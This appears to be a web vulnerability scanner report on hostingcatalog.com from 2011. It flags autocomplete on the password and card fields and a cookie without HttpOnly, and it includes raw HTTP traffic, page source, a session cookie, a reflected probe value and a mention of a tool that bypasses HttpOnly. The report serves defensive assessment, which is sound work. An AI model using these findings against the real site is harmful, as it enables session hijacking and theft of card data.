<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value=&..
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /register.php

/register.php CONFIRMED

http://www.hostingcatalog.com/register.php

Identified Field Name

password

Request

GET /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Location: https://www.hostingcatalog.com/register.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: user_counted_0=1%3CAND%3E; expires=Mon, 25-Apr-2011 03:58:20 GMT; path=/


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5E3D5346E1A2E8D357F0D29E8BB4ECA21A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Linux VPS Hosting</option><option value='5E3D5346E1A2E8D3914BF6A79081EC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Host 5 sites for $5.95</option><option value='5E3D5346E1A2E8D3804BDCBC5F3624771A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3AEB7320C534FCFD51A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>1&1</option><option value='5E3D5346E1A2E8D33C1D7FBCC567E12D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5E3D5346E1A2E8D355CAB932145BAE971A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>iWeb Technology</option><option value='5E3D5346E1A2E8D30119BFFBDFB49D3F1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>SingleHop</option><option value='5E3D5346E1A2E8D3224DA93AAA07BC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Serverconnect@SwedishHost</option><option value='5E3D5346E1A2E8D361275C9B9A6411981A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>OnApp - Build Your Cloud</option><option value='5E3D5346E1A2E8D38FDA53D274EDAAD21773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5E3D5346E1A2E8D3952BAD0C9A3E36BD1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>GlowHost $4.95 Hosting</option><option value='5E3D5346E1A2E8D350B757B6C7B601661A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Unlimited Hosting $2.99/m</option><option value='5E3D5346E1A2E8D3094F4E7C43B1C0B31A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3234ECF4B3ED1D9D11A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Cast-Iron Hosting Review</option><option value='5E3D5346E1A2E8D32F4252E2CEACDD001A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5E3D5346E1A2E8D3202D32DB2F9A7DBF1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>resell merchant accounts</option><option value='5E3D5346E1A2E8D3FDF171907F5C9BB71773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Cheap Reseller Hosting</option><option value='5E3D5346E1A2E8D39698D60259649B2E1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>PremiumReseller.com</option><option value='5E3D5346E1A2E8D3B3A8C3105348E0401773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value=&..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /

/ CONFIRMED

http://www.hostingcatalog.com/

Identified Cookie

time_0

Request

GET / HTTP/1.1
Referer: http://www.hostingcatalog.com/banner.php?id=3A72B055B7774C9A3B5C28EE6A61B658490A49E9A39A90201AA3445D0E3A07F60688418BC389C342
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:37 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: time_0=1303646197; expires=Mon, 25-Apr-2011 04:58:20 GMT; path=/,user_counted_0=1; expires=Mon, 25-Apr-2011 03:58:20 GMT; path=/


<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Hosting Catalog :: Find web hosting packages, web hosting plans, hosting services and hosting providers</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<!-- BEGIN_META -->
<META name="description" content="Hosting Catalog contains thousands of listings for web hosting packages, plans and services. Find reliable hosting providers with affordable prices and great features.">
<META name="keywords" content="Shared Web Hosting, Advanced Web Hosting, Connectivity Solutions, Web Products and Services">
<meta name="verify-v1" content="2b5ww/sjT/7xIf0mVoc39cvAnou9zGOZccdLZ06Lm/A=" /><!-- END_META -->
<base href="http://www.hostingcatalog.com/">
<link href="style.css" rel="stylesheet" type="text/css">
<SCRIPT LANGUAGE="JavaScript">
<!--
function goBannerLink(src)
{ var f=document.forms['top_banner_form'];
if (src.value=='0') return true;
f.elements['param'].value=src.value;
f.submit();
}
function createEmail(first,second,third,text,linkclass)
{
var str="";
if (linkclass.lenght!=0) str=" class='"+linkclass+"' ";
document.write("<a href='mailto:"+first+"@"+second+"."+third+"'"+str+">"+text+"</a>") ;
}
//-->
</SCRIPT>
</head>

<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td background="images/header/header_bg.gif"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a><img src="/1x1s.gif" width="1" height="1"></td>
<td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td>
<td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td>
</tr>
<tr>
<td height="38" align="right">
<table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='B6C08873592AFA6EF63958F6B4C144A01A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Linux VPS Hosting</option><option value='B6C08873592AFA6E7B95647C8B66576F1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Host 5 sites for $5.95</option><option value='B6C08873592AFA6E1ACE84A4C94FC03F1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='B6C08873592AFA6E955E6D7EAB5CED4C1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>1&1</option><option value='B6C08873592AFA6EF8215BB5C5508BA31773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='B6C08873592AFA6EAE87A3F6317AE8081A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>iWeb Technology</option><option value='B6C08873592AFA6E4EC846D885A305911A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>SingleHop</option><option value='B6C08873592AFA6EC0E8ACCDE7AAADA11773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Serverconnect@SwedishHost</option><option value='B6C08873592AFA6E082DE27FA708D6161A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>OnApp - Build Your Cloud</option><option value='B6C08873592AFA6EEAB0A213429E89D51773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='B6C08873592AFA6E85173672B2713D9D1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>GlowHost $4.95 Hosting</option><option value='B6C08873592AFA6E0AA7EDE083EFF2EF1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Unlimited Hosting $2.99/m</option><option value='B6C08873592AFA6E516E3309126B6EBC1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='B6C08873592AFA6ECD3B78892FBE233F1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Cast-Iron Hosting Review</option><option value='B6C08873592AFA6EDF6BFFD57F4177241A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='B6C08873592AFA6EB05918B780AE613B1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>resell merchant accounts</option><option value='B6C08873592AFA6ED809754267B4D1B51773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Cheap Reseller Hosting</option><option value='B6C08873592AFA6E49E48B22CA8CA1F61773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>PremiumReseller.com</option><option value='B6C08873592AFA6E10429E63E2839CFF1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table></td>
</tr>
<tr>
<td height="32" align="right" class="headerlink">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink">Home</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="register.php">List Your Company</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td>
</tr>
</table></td>
</tr>


<tr><td><img src="images/misc/spacer.gif" width="5" height="10"></td></tr>
<tr>
<td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="172" valign="top">
<table width="172" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;WEB HOSTING</td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td><a class=link href="http://www.hostingcatalog.com/unix-linux-shared-hosting">Unix/Linux</a><br>
<a class=link href="http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting">Windows Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/reseller-hosting-packages-and-programs">Reseller Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/ecommerce-web-hosting">Ecommerce/Storefronts</a><br>
<a class=link href="http://www.hostingcatalog.com/low-cost-web-hosting">Budget Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/adult-website-picture-hosting">Adult Hosting</a></td>
</td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;ADVANCED HOSTING </td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td><a class=link href="http://www.hostingcatalog.com/virtual-private-server-hosting">Virtual Private Servers</a><br>
<a class=link href="http://www.hostingcatalog.com/linux-windows-dedicated-servers">Dedicated Servers</a><br>
<a class=link href="http://www.hostingcatalog.com/colocation-server-hosting-services">Colocation</a><br>
<a class=link href="http://www.hostingcatalog.com/managed-hosting-providers-and-solutions">Managed Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/affordable-game-server-hosting">Gaming Servers</a><br>
<a class=link href="http://www.hostingcatalog.com/international-overseas-web-hosting">International Hosting</a></td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;CONNECTIVITY</td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
